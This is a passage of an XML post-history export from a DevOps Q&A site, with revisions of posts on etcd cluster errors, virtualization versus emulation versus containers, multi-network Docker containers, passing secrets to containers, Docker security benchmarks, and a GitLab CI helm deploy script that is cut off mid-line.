  <row Id="19833" PostHistoryTypeId="2" PostId="6204" RevisionGUID="c141f8e6-8e03-4e18-893e-b9120c0543ff" CreationDate="2019-02-02T10:09:43.513" UserId="12183" Text="I am new to kubernetes and I am working on creating multi-master-kubernetes with 2 masters nodes.&#xD;&#xA;&lt;br&gt; Could anyone explain why when I execute the command &#xD;&#xA;&lt;br&gt;-**ETCDCTL_API=2 etcdctl member list**&#xD;&#xA;&lt;br&gt;I get **etcd cluster is unavailable or misconfigured;** &#xD;&#xA;&lt;br&gt; and when I execute &lt;br&gt;&#xD;&#xA;-**ETCDCTL_API=2 etcdctl --ca-file=/etc/etcd/ca.pem --cert-file=/etc/etcd/kubernetes.pem --key-file=/etc/etcd/kubernetes-key.pem member list**&#xD;&#xA;&lt;br&gt;I get this result&#xD;&#xA;&lt;br&gt;&#xD;&#xA;**cc59f69db7afb8fc: name=x peerURLs=https://x.x.x.x:2380 clientURLs=https://x.x.x.x:2379 isLeader=false**&#xD;&#xA;&lt;br&gt;**e91f43559989b2a6: name=y peerURLs=https://x.x.x.x:2380 clientURLs=https://x.x.x.x:2379 isLeader=true**&#xD;&#xA;&lt;br&gt;Am I missing something? Thank you for your help &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19834" PostHistoryTypeId="1" PostId="6204" RevisionGUID="c141f8e6-8e03-4e18-893e-b9120c0543ff" CreationDate="2019-02-02T10:09:43.513" UserId="12183" Text="etcd cluster is unavailable or misconfigured (kubernetes multi-master)" ContentLicense="CC BY-SA 4.0" />
  <row Id="19835" PostHistoryTypeId="3" PostId="6204" RevisionGUID="c141f8e6-8e03-4e18-893e-b9120c0543ff" CreationDate="2019-02-02T10:09:43.513" UserId="12183" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19839" PostHistoryTypeId="5" PostId="6204" RevisionGUID="dad1e4d3-47b3-46a9-88a0-f3d442f35d97" CreationDate="2019-02-02T12:54:25.300" UserId="40" Comment="fix formatting" Text="I am new to kubernetes and I am working on creating multi-master-kubernetes with 2 masters nodes.&#xD;&#xA;&#xD;&#xA;Could anyone explain why when I execute the command `ETCDCTL_API=2 etcdctl member list`, I get:&#xD;&#xA;&#xD;&#xA;&gt; etcd cluster is unavailable or misconfigured;&#xD;&#xA;&#xD;&#xA;And when I execute `ETCDCTL_API=2 etcdctl --ca-file=/etc/etcd/ca.pem --cert-file=/etc/etcd/kubernetes.pem --key-file=/etc/etcd/kubernetes-key.pem member list`, I get this result:&#xD;&#xA;&#xD;&#xA;&gt; cc59f69db7afb8fc: name=x peerURLs=https://x.x.x.x:2380 clientURLs=https://x.x.x.x:2379 isLeader=false&#xD;&#xA;&#xD;&#xA;&gt; e91f43559989b2a6: name=y peerURLs=https://x.x.x.x:2380 clientURLs=https://x.x.x.x:2379 isLeader=true&#xD;&#xA;&#xD;&#xA;Am I missing something?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19841" PostHistoryTypeId="2" PostId="6206" RevisionGUID="1f25fbb4-6dca-4c82-bc4d-40d129940b77" CreationDate="2019-02-02T20:40:44.443" UserId="3315" Text="What are the differences and relations between [application virtualization][1] (such as Flatpak), [emulation layer][2] (such as wine, cygwin), and [container virtualization][1] (such as Docker)? &#xD;&#xA;&#xD;&#xA;I have been trying to figure them out, but always end up not catching the main points. Especially the fundamental differences between their virutalization levels.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Operating-system-level_virtualization&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Compatibility_layer" ContentLicense="CC BY-SA 4.0" />
  <row Id="19842" PostHistoryTypeId="1" PostId="6206" RevisionGUID="1f25fbb4-6dca-4c82-bc4d-40d129940b77" CreationDate="2019-02-02T20:40:44.443" UserId="3315" Text="What are the differences between application virtualization, emulation layer, and container virtualization?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19843" PostHistoryTypeId="3" PostId="6206" RevisionGUID="1f25fbb4-6dca-4c82-bc4d-40d129940b77" CreationDate="2019-02-02T20:40:44.443" UserId="3315" Text="&lt;docker&gt;&lt;virtualization&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19844" PostHistoryTypeId="5" PostId="6206" RevisionGUID="76208c79-21ec-46de-aaa8-2b35d4f61f6b" CreationDate="2019-02-02T23:40:10.570" UserId="40" Comment="deleted 11 characters in body" Text="What are the differences and relations between [application virtualization][1] (such as Flatpak), [emulation layer][2] (such as wine, cygwin), and [container virtualization][1] (such as Docker)? &#xD;&#xA;&#xD;&#xA;I have been trying to figure them out, but always end up not catching the main points. Especially the fundamental differences between their virutalization levels.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Operating-system-level_virtualization&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Compatibility_layer" ContentLicense="CC BY-SA 4.0" />
  <row Id="19845" PostHistoryTypeId="2" PostId="6207" RevisionGUID="dab0fb35-604f-4624-b2db-72f0a14c3a84" CreationDate="2019-02-02T23:53:01.010" UserId="11179" Text="From my understanding of [the docs](https://developer.github.com/enterprise/2.13/v3/issues/labels/#add-labels-to-an-issue), you should directly send an array (which is valid JSON), without wrapping it in an object. That is `[&quot;bug&quot;]` instead of `{&quot;labels&quot;: [&quot;bug&quot;]}`.&#xD;&#xA;&#xD;&#xA;So, the proper request should be:&#xD;&#xA;&#xD;&#xA;    curl -X POST -u githuser:gittoken \&#xD;&#xA;        https://api.github.mycompany.com/repos/team/repo/issues/560/labels \&#xD;&#xA;        -H &quot;Content-type: application/json&quot; -k \&#xD;&#xA;        -d '[&quot;bug&quot;]' \&#xD;&#xA;        -H &quot;Accept: application/json&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19846" PostHistoryTypeId="5" PostId="6206" RevisionGUID="09e28966-69c0-4548-b641-4ed93fc9a36e" CreationDate="2019-02-03T00:19:11.680" UserId="3315" Comment="deleted 11 characters in body" Text="What are the differences and relations between [application virtualization][1] (such as Flatpak), [emulation layer][2] (such as wine, cygwin), and [container virtualization][1] (such as Docker)? &#xD;&#xA;&#xD;&#xA;I have been trying to figure them out, but always end up not catching the main points. Especially the fundamental differences between their virutalization levels.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Application_virtualization&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Compatibility_layer" ContentLicense="CC BY-SA 4.0" />
  <row Id="19847" PostHistoryTypeId="8" PostId="6206" RevisionGUID="541ec295-1cfe-4612-94db-ce060747c9be" CreationDate="2019-02-03T00:19:56.723" UserId="3315" Comment="Rollback to [76208c79-21ec-46de-aaa8-2b35d4f61f6b]" Text="What are the differences and relations between [application virtualization][1] (such as Flatpak), [emulation layer][2] (such as wine, cygwin), and [container virtualization][1] (such as Docker)? &#xD;&#xA;&#xD;&#xA;I have been trying to figure them out, but always end up not catching the main points. Especially the fundamental differences between their virutalization levels.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Operating-system-level_virtualization&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Compatibility_layer" ContentLicense="CC BY-SA 4.0" />
  <row Id="19848" PostHistoryTypeId="5" PostId="6206" RevisionGUID="cc11aa81-d559-4637-bc04-9e0ea71ef506" CreationDate="2019-02-03T00:20:16.483" UserId="3315" Comment="added 65 characters in body" Text="What are the differences and relations between [application virtualization][1] (such as Flatpak), [emulation layer][2] (such as wine, cygwin), and [container virtualization][3] (such as Docker)? &#xD;&#xA;&#xD;&#xA;I have been trying to figure them out, but always end up not catching the main points. Especially the fundamental differences between their virutalization levels.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Application_virtualization&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Compatibility_layer&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Operating-system-level_virtualization" ContentLicense="CC BY-SA 4.0" />
  <row Id="19849" PostHistoryTypeId="2" PostId="6208" RevisionGUID="a6fd60ed-23be-41b8-b1c5-2c1abb83782a" CreationDate="2019-02-03T02:28:13.833" UserId="7730" Text="Container virtualization with Linux is a combination of kernel features, namespaces and cgroups, used to run an application in a sandbox. Each application has it's own filesystem, network stack, pid namespace, etc, but runs on the same OS kernel as the host. From the host you can see the processes running, but from inside the sandbox, all you can see is your application. It is designed for managing server side applications.&#xD;&#xA;&#xD;&#xA;Application virtualization is very similar to container virtualization, and the lines are a bit fuzzy to me. In the context of something like Flatpak, it is using the same namespaces and cgroups you see with container tools like docker. The key difference is they have designed the tool for desktop use cases, meaning tools that are designed to be accessed with a local GUI, rather than running remotely as something like a web server.&#xD;&#xA;&#xD;&#xA;Emulation is a way to run programs designed for another OS. You typically cannot run a Windows binary on a Linux system and vice versa, the OS kernels are very different, the binary formats are different, they're effectively speaking different languages. The emulation layer provides a translation to run non-native programs on the local machine without creating an entire virtual machine and running a separate OS. This is very different from the container and application virtualization where you run native OS applications on a shared OS kernel." ContentLicense="CC BY-SA 4.0" />
  <row Id="19851" PostHistoryTypeId="2" PostId="6210" RevisionGUID="ee25e501-a9a9-47f6-8929-1d2d431ab007" CreationDate="2019-02-03T10:49:56.673" UserId="11179" Text="As often, the vocabulary is overloaded, and the limits between technologies are somewhat fuzzy.&#xD;&#xA;&#xD;&#xA;As a complement to the BMitch's answer, in my understanding, _emulation_ is a way to run an application designed for another [instruction set architecture](https://en.wikipedia.org/wiki/Instruction_set_architecture). For example, it allows to run an ARM software on an x86 host. QEMU virtual machines are designed for ISA emulation.&#xD;&#xA;&#xD;&#xA;Running x86 Windows application on x86 Linux using Wine&lt;sup&gt;1&lt;/sup&gt;, or x86 Linux app on x86 Solaris using an [lx branded zone](https://docs.oracle.com/cd/E19044-01/sol.containers/817-1592/6mhahupda/index.html) does not require ISA emulation since that application and the host are using is the same instruction set. Only the system calls needs to be &quot;emulated&quot;, not the processor. Sometimes we call that [system call translation](http://www.informit.com/articles/article.aspx?p=659522). It is the role of the **compatibility layer** to perform the needed translations as transparently as possible for the guest application.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&lt;sup&gt;1&lt;/sup&gt;&lt;sub&gt; Actually the _Wine_ name was dubbed as a backronym for &quot;Wine Is Not an Emulator&quot;&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19853" PostHistoryTypeId="2" PostId="6211" RevisionGUID="4f84d7d0-a0ba-40bd-a1db-8259346ea973" CreationDate="2019-02-03T11:31:13.717" UserId="11179" Text="## Do that:&#xD;&#xA;&#xD;&#xA;You cannot attach several networks using the `--network` option. You have to rely on the [`docker network connect`](https://docs.docker.com/engine/reference/commandline/network_connect/) command. So if you want the multiple network interfaces to be available at container startup, you have to do it in three steps:&#xD;&#xA;&#xD;&#xA;1. _create_ the container,&#xD;&#xA;2. _connect_ the extra network needed,&#xD;&#xA;3. and finally _run_ the container.&#xD;&#xA;&#xD;&#xA;&lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;    # create a container, attaching it to one user-defined bridge:&#xD;&#xA;    docker create --name app3 \&#xD;&#xA;                  --network back-end \&#xD;&#xA;                  ${IMAGE}&#xD;&#xA;    &#xD;&#xA;    # connect the other bridge networks:&#xD;&#xA;    docker network connect front-end app3&#xD;&#xA;&#xD;&#xA;    # start the container&#xD;&#xA;    docker start app3&#xD;&#xA;&#xD;&#xA;&lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;    docker exec -it app3 ip addr show&#xD;&#xA;    1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&#xD;&#xA;        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&#xD;&#xA;        inet 127.0.0.1/8 scope host lo&#xD;&#xA;           valid_lft forever preferred_lft forever&#xD;&#xA;    465: eth1@if466: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP group default&#xD;&#xA;        link/ether 02:42:ac:13:00:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0&#xD;&#xA;        inet 172.19.0.3/16 brd 172.19.255.255 scope global eth1&#xD;&#xA;           valid_lft forever preferred_lft forever&#xD;&#xA;    467: eth0@if468: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP group default&#xD;&#xA;        link/ether 02:42:ac:14:00:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0&#xD;&#xA;        inet 172.20.0.3/16 brd 172.20.255.255 scope global eth0&#xD;&#xA;           valid_lft forever preferred_lft forever&#xD;&#xA;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;## Dont' do that:&#xD;&#xA;&#xD;&#xA;It is tempting to do that instead:&#xD;&#xA;&#xD;&#xA;    # You probably DON'T want this:&#xD;&#xA;    # create a container with the default network settings&#xD;&#xA;    docker create --name app3 \&#xD;&#xA;                  ${IMAGE}&#xD;&#xA;    &#xD;&#xA;    # connect the user-defined bridge networks:&#xD;&#xA;    docker network connect back-end app3&#xD;&#xA;    docker network connect front-end app3&#xD;&#xA;&#xD;&#xA;    # start the container&#xD;&#xA;    docker start app3&#xD;&#xA;&#xD;&#xA;However, there is a pitfall here: when creating the container without an explicit `--network` option, Docker attaches it to the default bridge. Then the two `network connect` commands will add two _more_ networks. And the container end-up bein attached to the _froent_end_ and _back_end_ network as expected. But also to the default bridge, something you probably don't want when using user-defined networks. " ContentLicense="CC BY-SA 4.0" />
  <row Id="19854" PostHistoryTypeId="5" PostId="6211" RevisionGUID="26d6f9c6-9834-4e72-99c0-7560fc7fc585" CreationDate="2019-02-03T12:26:01.243" UserId="11179" Comment="added 2 characters in body" Text="## Do that:&#xD;&#xA;&#xD;&#xA;You cannot attach several networks using the `--network` option. You have to rely on the [`docker network connect`](https://docs.docker.com/engine/reference/commandline/network_connect/) command. So if you want the multiple network interfaces to be available at container startup, you have to do it in three steps:&#xD;&#xA;&#xD;&#xA;1. _create_ the container,&#xD;&#xA;2. _connect_ the extra network needed,&#xD;&#xA;3. and finally _run_ the container.&#xD;&#xA;&#xD;&#xA;&lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;    # create a container, attaching it to one user-defined bridge:&#xD;&#xA;    docker create --name app3 \&#xD;&#xA;                  --network back-end \&#xD;&#xA;                  ${IMAGE}&#xD;&#xA;    &#xD;&#xA;    # connect the other bridge networks:&#xD;&#xA;    docker network connect front-end app3&#xD;&#xA;&#xD;&#xA;    # start the container&#xD;&#xA;    docker start app3&#xD;&#xA;&#xD;&#xA;&lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;    docker exec -it app3 ip addr show&#xD;&#xA;    1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&#xD;&#xA;        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&#xD;&#xA;        inet 127.0.0.1/8 scope host lo&#xD;&#xA;           valid_lft forever preferred_lft forever&#xD;&#xA;    465: eth1@if466: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP group default&#xD;&#xA;        link/ether 02:42:ac:13:00:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0&#xD;&#xA;        inet 172.19.0.3/16 brd 172.19.255.255 scope global eth1&#xD;&#xA;           valid_lft forever preferred_lft forever&#xD;&#xA;    467: eth0@if468: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP group default&#xD;&#xA;        link/ether 02:42:ac:14:00:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0&#xD;&#xA;        inet 172.20.0.3/16 brd 172.20.255.255 scope global eth0&#xD;&#xA;           valid_lft forever preferred_lft forever&#xD;&#xA;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;## Dont' do that:&#xD;&#xA;&#xD;&#xA;It is tempting to do that instead:&#xD;&#xA;&#xD;&#xA;    # You probably DON'T want this:&#xD;&#xA;    # create a container with the default network settings&#xD;&#xA;    docker create --name app3 \&#xD;&#xA;                  ${IMAGE}&#xD;&#xA;    &#xD;&#xA;    # connect the user-defined bridge networks:&#xD;&#xA;    docker network connect back-end app3&#xD;&#xA;    docker network connect front-end app3&#xD;&#xA;&#xD;&#xA;    # start the container&#xD;&#xA;    docker start app3&#xD;&#xA;&#xD;&#xA;However, there is a pitfall here: when creating the container without an explicit `--network` option, Docker attaches it to the default bridge. Then the two `network connect` commands will add two _more_ networks. And the container end-up bein attached to the *front_end* and *back_end* networks as expected. But also to the _default bridge_, something you probably don't want when using user-defined networks. " ContentLicense="CC BY-SA 4.0" />
  <row Id="19855" PostHistoryTypeId="50" PostId="5880" RevisionGUID="fde477f4-afc7-4211-8d62-1e94ae0c583a" CreationDate="2019-02-03T13:01:30.267" UserId="-1" />
  <row Id="19856" PostHistoryTypeId="2" PostId="6212" RevisionGUID="2dfd551e-e26a-41b3-946c-f2e1407ed883" CreationDate="2019-02-03T13:33:01.763" UserId="11179" Text="I just learned about [Docker Bench for Security](https://github.com/docker/docker-bench-security) and [CIS Benchmark for Docker Community Edition](https://www.cisecurity.org/benchmark/docker/).&#xD;&#xA;&#xD;&#xA;Why, how and when am I supposed to use these tools?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19857" PostHistoryTypeId="1" PostId="6212" RevisionGUID="2dfd551e-e26a-41b3-946c-f2e1407ed883" CreationDate="2019-02-03T13:33:01.763" UserId="11179" Text="CIS Benchmark for Docker and Docker Bench for Security: why, how and when?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19858" PostHistoryTypeId="3" PostId="6212" RevisionGUID="2dfd551e-e26a-41b3-946c-f2e1407ed883" CreationDate="2019-02-03T13:33:01.763" UserId="11179" Text="&lt;docker&gt;&lt;devsecops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19862" PostHistoryTypeId="5" PostId="3904" RevisionGUID="f80dcd05-170c-4f9c-8b50-f6f2b501f9c4" CreationDate="2019-02-04T01:32:44.323" UserId="6578" Comment="better choice after more education was provided" Text="You have 3 methods to get secrets to an app inside a docker container. The first 2 involve docker configuration. The last one is to have your apps directly fetch secrets from a secret store.&#xD;&#xA;&#xD;&#xA;# 1 - Environment variables&#xD;&#xA;According to [&quot;The 12 Factor App&quot; guide](https://12factor.net/config), secrets are merely config, and they should always be set in the environment. You could set your secrets as environment variables during the docker run, and your app accesses them from there.&#xD;&#xA;&#xD;&#xA;# 2 - Mounted volumes&#xD;&#xA;You could have your secrets all within a particular configuration/secrets file, then mount that to your instance as a [mounted volume](https://docs.docker.com/storage/volumes/). &#xD;&#xA;&#xD;&#xA;# 3 - Fetch from secret store&#xD;&#xA;As @030 mentioned, you can use Hashicorp Vault (or &quot;Amazon Secrets Manager&quot;, or any service like that).  &#xD;&#xA;Your app, or a sidecar app can fetch the secrets it needs directly, without having to deal with any configuration on the Docker container. This method would allow you to use Dynamically created secrets (a very appealing feature of such systems) and without having to worry about the secrets being view-able from the file system or from inspecting the env variables of the docker container.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Personal Opinion&#xD;&#xA;I believe env variables is the way to go. It's easier to manage, and you can still pull from a secret store like Hashicorp Vault, if you have you CI build system pull the secrets during the build and set them when you deploy. You get the best of both worlds, and the added benefit of your developers not needing to write application code to fetch secrets. &lt;s&gt;Devs should be focused on their code functionality, and not dealing with admin tasks like fetching passwords.&lt;/s&gt;&#xD;&#xA;&#xD;&#xA;Your application's code should be focused on it's own app functionality itself, and not dealing with backend tasks like fetching passwords. Just like the 12 Factor App states.&#xD;&#xA;&#xD;&#xA;*Edit:* changed last sentence to remove implication of Developer vs SysAdmin silo-ing. The tasks themselves should be separate from a code perspective, but DevOps is about the same persons keeping both in mind and not be limited.&#xD;&#xA;&#xD;&#xA;## Personal Opinion (Update)&#xD;&#xA;Per @Dirk's excellent comment (https://devops.stackexchange.com/questions/3902/passing-secrets-to-a-docker-container/3904#comment8152_3904), there is a _very_ strong argument to prioritize a secret store over ENV vars, due to not wanting to leak them." ContentLicense="CC BY-SA 4.0" />
  <row Id="19864" PostHistoryTypeId="5" PostId="6204" RevisionGUID="6fb59a6d-2ef7-4225-8671-7107243f12e6" CreationDate="2019-02-04T07:46:41.123" UserId="12183" Comment="deleted 36 characters in body" Text="I am new to kubernetes and I am working on creating multi-master-kubernetes with 2 masters nodes.&#xD;&#xA;&lt;br&gt; Could anyone explain why when I execute the command  &#xD;&#xA;&lt;br&gt;`ETCDCTL_API=2 etcdctl member list`, I get:&#xD;&#xA;&#xD;&#xA;&gt; etcd cluster is unavailable or misconfigured;&#xD;&#xA;&#xD;&#xA;And when I execute `ETCDCTL_API=2 etcdctl --ca-file=/etc/etcd/ca.pem --cert-file=/etc/etcd/kubernetes.pem --key-file=/etc/etcd/kubernetes-key.pem member list`, I get this result:&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; cc59f69db7afb8fc: name=x peerURLs=https://x.x.x.x:2380&#xD;&#xA;&gt; clientURLs=https://x.x.x.x:2379 isLeader=false&#xD;&#xA;&gt; &lt;br&gt;e91f43559989b2a6: name=y peerURLs=https://x.x.x.x:2380&#xD;&#xA;&gt; clientURLs=https://x.x.x.x:2379 isLeader=true&#xD;&#xA;&#xD;&#xA;&lt;br&gt;Am I missing something? &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19865" PostHistoryTypeId="2" PostId="6215" RevisionGUID="d020c018-3d2c-49f1-a7c0-6b7d5e035c66" CreationDate="2019-02-04T08:19:24.800" UserId="10599" Text="Larger organizations are concerned that containers introduce more security risks than traditional VMs as there isn't any hypervisor segregation. Developers running arbitrary images, that run as root, that they don't bother to security patch, looks worse for security team's than automatically patched VMs controlled by ops teams. &#xA;&#xA;Misconfiguration of docker demon itself can also introduce security risks. It's fairly common for complex software to have security tuning tools and to run them as part of ”operational readiness checks” of the live environment before going live as a security audit. Then also run them on some periodic cycle or after any major upgrades of the software that is being audited. &#xA;&#xA;Software vendors who build container orchestrators are actively working in removing any dependency on needing to run docker demon see [cri-o.io][1]. Security, footprint and fork time are areas that vendors are competing on. CoreOS was a big innovator in this space before they were acquired you can look at some of their architecture presentations to get a flavor of what containers at scale workout docker looks like.&#xA;&#xA;From a devops perspective we should empower devs to run security tools all the time to fix issues early. In practice devs might be using Docker for Windows locally but the live env would be a container orchestrator possibly running [rkt][2]. In reality devs in large organizations are not going to security scan infrastructure they didn't create and dont have root on. Even at a startup not every dev can be familiar with all of the tooling and software running.&#xA;&#xA;IMHO if your teaching containers from a developer perspective it's worth pointing out such tools. Certainly devs in my experience are woefully unaware that running containers they fine on docker hub as root isn't the smartest way to be secure. I would only expect to see such tools to be covered in depth by courses teaching security analysts how to audit systems that run Docker. &#xA;&#xA;&#xA;  [1]: https://cri-o.io&#xA;  [2]: https://coreos.com/rkt/docs/latest/using-rkt-with-kubernetes.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="19866" PostHistoryTypeId="5" PostId="6215" RevisionGUID="90ae0e90-be63-494e-9919-d739b4610072" CreationDate="2019-02-04T08:24:38.247" UserId="10599" Comment="added 57 characters in body; added 18 characters in body" Text="Larger organizations are concerned that containers introduce more security risks than traditional VMs as there isn't any hypervisor segregation. Developers running arbitrary images, that run as root, that they don't bother to security patch, looks worse for security team's than automatically patched VMs controlled by ops teams without containers.&#xA;&#xA;Misconfiguration of docker demon itself can also introduce security risks. It's fairly common for complex software to have security tuning tools and to run them as part of ”operational readiness checks” of the live environment before going live as a security audit. Then also run them on some periodic cycle or after any major upgrades of the software that is being audited. The tools you name will be very useful for that purpose. &#xA;&#xA;Software vendors who build container orchestrators are actively working in removing any dependency on needing to run docker demon see [cri-o.io][1]. Security, footprint and fork time are areas that vendors are competing on. CoreOS was a big innovator in this space before they were acquired you can look at some of their architecture presentations to get a flavor of what containers at scale workout docker looks like.&#xA;&#xA;From a devops perspective we should empower devs to run security tools all the time to fix issues early. In practice devs might be using Docker for Windows locally but the live env would be a container orchestrator possibly running [rkt][2]. In reality devs in large organizations are not going to security scan infrastructure they didn't create and dont have root on. Even at a startup not every dev can be familiar with all of the tooling and software running.&#xA;&#xA;IMHO if your teaching containers from a developer perspective it's worth pointing out such tools. Certainly devs in my experience are woefully unaware that running containers they fine on docker hub as root isn't the smartest way to be secure. I would only expect to see such tools to be covered in depth by courses teaching security analysts how to audit systems that run Docker. &#xA;&#xA;&#xA;  [1]: https://cri-o.io&#xA;  [2]: https://coreos.com/rkt/docs/latest/using-rkt-with-kubernetes.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="19867" PostHistoryTypeId="5" PostId="6215" RevisionGUID="e9e0bb2e-8d3a-4e9d-8b8e-57716ec10a58" CreationDate="2019-02-04T08:31:07.747" UserId="10599" Comment="added 65 characters in body" Text="Larger organizations are concerned that containers introduce more security risks than traditional VMs as there isn't any hypervisor segregation. Developers running arbitrary images, that run as root, that they don't bother to security patch, looks worse for security team's than automatically patched VMs controlled by ops teams without containers.&#xA;&#xA;Misconfiguration of docker demon itself can also introduce security risks. It's fairly common for complex software to have security tuning tools and to run them as part of ”operational readiness checks” of the live environment before going live as a security audit. Then also run them on some periodic cycle or after any major upgrades of the software that is being audited. The tools you name will be very useful for that purpose. &#xA;&#xA;Software vendors who build container orchestrators are actively working in removing any dependency on needing to run docker demon see [cri-o.io][1]. Security, footprint and fork time are areas that vendors are competing on. CoreOS was a big innovator in this space before they were acquired you can look at some of their architecture presentations to get a flavor of what containers at scale workout docker looks like.&#xA;&#xA;From a devops perspective we should empower devs to run security tools all the time to fix issues early. In practice devs might be using Docker for Windows locally but the live env would be a container orchestrator possibly running [rkt][2]. In reality devs in large organizations are not going to security scan infrastructure they didn't create and dont have root on. Even at a startup not every dev can be familiar with all of the tooling and software running in production. An external security audit is a smart investment. &#xA;&#xA;IMHO if your teaching containers from a developer perspective it's worth pointing out such tools. Certainly devs in my experience are woefully unaware that running containers they fine on docker hub as root isn't the smartest way to be secure. I would only expect to see such tools to be covered in depth by courses teaching security analysts how to audit systems that run Docker. &#xA;&#xA;&#xA;  [1]: https://cri-o.io&#xA;  [2]: https://coreos.com/rkt/docs/latest/using-rkt-with-kubernetes.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="19870" PostHistoryTypeId="50" PostId="5885" RevisionGUID="cf5a46fb-ba22-43af-a5a4-b33a4bb5fb81" CreationDate="2019-02-04T09:02:35.550" UserId="-1" />
  <row Id="19871" PostHistoryTypeId="2" PostId="6216" RevisionGUID="60443ef6-7e09-400a-81c9-2bfe95fe1e30" CreationDate="2019-02-04T09:22:15.107" UserId="12203" Text="I have a kubernetes cluster with 1 master and 2 workers. All nodes have their IP address. Let's call them like this:&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA; - master-0&#xD;&#xA; - worker-0&#xD;&#xA; - worker-1&#xD;&#xA;&#xD;&#xA;The network pod policy and all my nodes communication are setting up correctly, all works perfectly. If I specify this infrastructure, it's just to be more specific about my case.&#xD;&#xA;&#xD;&#xA;Using helm I have created a chart which deploy a basic nginx. It's a docker image that I build on my private gitlab registry.&#xD;&#xA;&#xD;&#xA;With the gitlab ci, I have created a job which used two functions:&#xD;&#xA;&#xD;&#xA;    # Init helm client on k8s cluster for using helm with gitlab runner&#xD;&#xA;    function init_helm() {&#xD;&#xA;      docker login -u &quot;$CI_REGISTRY_USER&quot; -p &quot;$CI_REGISTRY_PASSWORD&quot; &quot;$CI_REGISTRY&quot;&#xD;&#xA;      mkdir -p /etc/deploy&#xD;&#xA;      echo ${kube_config} | base64 -d &gt; ${KUBECONFIG}&#xD;&#xA;      kubectl config use-context ${K8S_CURRENT_CONTEXT}&#xD;&#xA;      helm init --client-only&#xD;&#xA;      helm repo add stable https://kubernetes-charts.storage.googleapis.com/&#xD;&#xA;      helm repo add incubator https://kubernetes-charts-incubator.storage.googleapis.com/&#xD;&#xA;      helm repo update&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # Deploy latest tagged image on k8s cluster&#xD;&#xA;    function deploy_k8s_cluster() {&#xD;&#xA;      echo &quot;Create and apply secret for docker gitlab runner access to gitlab private registry ...&quot;&#xD;&#xA;      kubectl create secret -n &quot;$KUBERNETES_NAMESPACE_OVERWRITE&quot; \&#xD;&#xA;        docker-registry gitlab-registry \&#xD;&#xA;        --docker-server=&quot;https://registry.gitlab.com/v2/&quot; \&#xD;&#xA;        --docker-username=&quot;${CI_DEPLOY_USER:-$CI_REGISTRY_USER}&quot; \&#xD;&#xA;        --docker-password=&quot;${CI_DEPLOY_PASSWORD:-$CI_REGISTRY_PASSWORD}&quot; \&#xD;&#xA;        --docker-email=&quot;$GITLAB_USER_EMAIL&quot; \&#xD;&#xA;        -o yaml --dry-run | kubectl replace -n &quot;$KUBERNETES_NAMESPACE_OVERWRITE&quot; --force -f -&#xD;&#xA;      echo &quot;Build helm dependancies in $CHART_TEMPLATE&quot;&#xD;&#xA;      cd $CHART_TEMPLATE/&#xD;&#xA;      helm dep build&#xD;&#xA;      export DEPLOYS=&quot;$(helm ls | grep $PROJECT_NAME | wc -l)&quot;&#xD;&#xA;      if [[ ${DEPLOYS}  -eq 0 ]]; then&#xD;&#xA;        echo &quot;Creating the new chart ...&quot;&#xD;&#xA;        helm install --name 